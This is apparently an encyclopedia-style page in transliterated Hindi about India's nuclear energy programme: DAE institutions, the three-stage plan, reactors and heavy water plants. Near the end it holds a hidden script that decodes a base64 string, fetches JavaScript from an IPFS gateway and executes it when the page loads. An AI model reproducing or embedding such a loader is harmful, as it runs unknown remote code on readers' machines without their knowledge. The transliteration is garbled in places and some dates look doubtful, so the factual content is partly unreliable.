भारत में परमाणु ऊर्जा

paramanu oorja ki bharatiy vidyut utpadan evan apoorti ke kshetr mean ek nishchit evan nirnayak bhoomika hai. vikasashil desh hone ke karan bharat ki sampoorn vidyut avashyakataoan ka ek b da bhag gaur paramparik srotoan se poora kiya jata hai kyoanki paramparik srotoan dvara badhati huee avashyakataoan ko poora nahian kiya ja sakata. bharat ne nabhikiy vijnan aur praudyogiki ke kshetr mean atmanirbharata prapt ki hai. isaka shrey d aau. homi bhabha dvara praranbh kie ge mahattvapoorn prayasoan ko jata hai jinhoanne bharatiy nabhikiy karyakram ki kalpana karate hue isaki adharashila rakhi. tab se hi paramanu oorja vibhag parivar ke samarpit vaujnanikoan tatha ianjiniyaroan dvara b di satarkata ke sath ise age badhaya gaya hai. kisi bhi rashtr ke sampoorn vikas ke lie vidyut ki paryapt tatha abadhit apoorti ka hona avashyak hai. vidyut ki matra ke sandarbh mean kahean to kisi rashtr ke samajik-arthik vikas ka paimana vahaan prati vyakti vidyut khapat ki dar se aanka jata hai.

paramanu oorja vibhag ki sthapana

paramanu oorja ka shaantipoorvak dhang se upayog mean lane hetu nitiyoan ko banane ke lie 1948 ee. mean paramanu oorja kamishan ki sthapana ki gee. in nitiyoan ko nishpadit karane ke lie 1954 ee. mean paramanu oorja vibhag (DAE) ki sthapana ki gee. paramanu oorja vibhag ke parivar mean paanch anusandhan keandr haian-

1. bhabha paramanu anusandhan kendr (BARC)- muanbee, maharashtr.
2. iandira gaandhi paramanu anusandhan keandr (IGCAR)- kalapakkam, tamilanadu.
3. unnat takaniki keandr (CAT) - iandaur.
4. veriebal enarji saiklotr aaun keandr (VECC) - kolakata.
5. paramanu padarth anveshan aur anusandhan nideshalay (AMD)- haidarabad.

paramanu oorja vibhag sat rashtriy svayatt sansthanoan ko bhi arthik sahayata deta hai, ve haian-

1. tata phandameantal anusandhan sansthan (TIFR)- mumbee.
2. tata smarak keandr (TMC) - muanbee.
3. saha nabhikiy bhautiki sansthan (SINP)- kolakata.
4. bhautiki sansthan (IOP)- bhuvaneshvar.
5. harishchandr anusandhan sansthan (HRI)- ilahabad.
6. ganitiy vijnan sansthan (IMSs) - chennee
7. plazma anusandhan sansthan (IPR)- ahamadabad.

nabhikiy oorja karyakram

1940 ee. ke dauran desh ke yooreniyam aur b di matra mean upalabdh thoriyam sansadhanoan ke prayog ke lie tin charan vale paramanu oorja karyakram ka gathan kiya gaya. karyakram ke chal rahe pahale charan mean bijali ke utpadan ke lie prakritik yooreniyam eeandhan vale bhari dabav yukt pani riektar ka istemal kiya ja raha hai. upayog mean lae ge eeandhan ko jab dubara sansadhit kiya jata hai to usase plootoniyam utpann hota hai jisaka prayog doosare charan mean drut bridar riektar mean vichchhedit yooreniyam ke sath eeandhan ke roop mean kiya jata hai. doosare charan mean upayog mean lae eeandhan ko dubara sansadhit karane par adhik plootoniyam aur yooroniyam-233 utpadit hota hai, jab thoriyam ka upayog avaran ke roop mean kiya jata hai.

nabhikiy oorja keandr

bharat mean 17 parichalit nabhikiy oorja riektar (do kvathan jalayukt riektar aur 15 pi ech dabloo ar es) haian, jinaki kul utpadan kshamata 4120 megavat ikaee hai. bharat mean nabhikiy oorja sanyantr ki rooparekha, nirman aur sanchalan ki kshamata poori tarah tab pratishthit huee jab chennee ke pas kalapakkam mean 1984 aur 1986 mean do svadeshi pi ech dablyoo ar es ki sthapana ki gee. varsh 2008 mean enapisiaeeel ke paramanu sanyantroan se 15,430 miliyan yoonit bijali ka utpadan hua. tarapur paramanu vidyut pariyojana-3 evan 4 ki 540 megavat ki ikaee-4 ko 5 varshoan se kam samay mean hi march 2005 ko kraantik kiya gaya. kaiga 3 evan 4 ka nirman pragat avastha mean hai tatha kaiga-3 ke adhichalan ki gatividhiyaan shuroo ki ja chuki haian. in ikaiyoan ko 2007 tak poora kiya jana hai. tamilanadu ke kandunakulam mean paramanu oorja keandr ki sthapana karane ke lie bharat ne roos se samajhauta kiya.

bhari jal utpadan

bhari jal ka istemal pi ech dablyoo ar mean parimarnak aur shitalak ke roop mean kiya jata hai. bhari jal utpadan sanyantroan ki sthapana nimnalikhit jagahoan par ki gee hai-

1. naangal (panjab), bharat ka pahala bhari jal sanyantr jisaki sthapana 1962 mean ki gee;
2. vadodara (gujarat)
3. talacher (u disa)
4. tootikorin (tamilanadu)
5. thal (maharashtr)
6. hazira (gujarat)
7. ravatabhata (gujarat)
8. manuguroo (aandhr pradesh)

nabhikiy eeandhan utpadan

haidarabad ka nabhikiy eeandhan k aaumpaleks dabavayukt jal riektar ke lie avashyak eeandhan ke tatvoan ko taiyar karata hai. yah tarapur ke kvathan jal riektar ke lie ayat yooreniyam heksaphloraid se sanvardhit yooreniyam eeandhan ke tatvoan ka bhi utpadan karata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• bharat mean paramanu oorja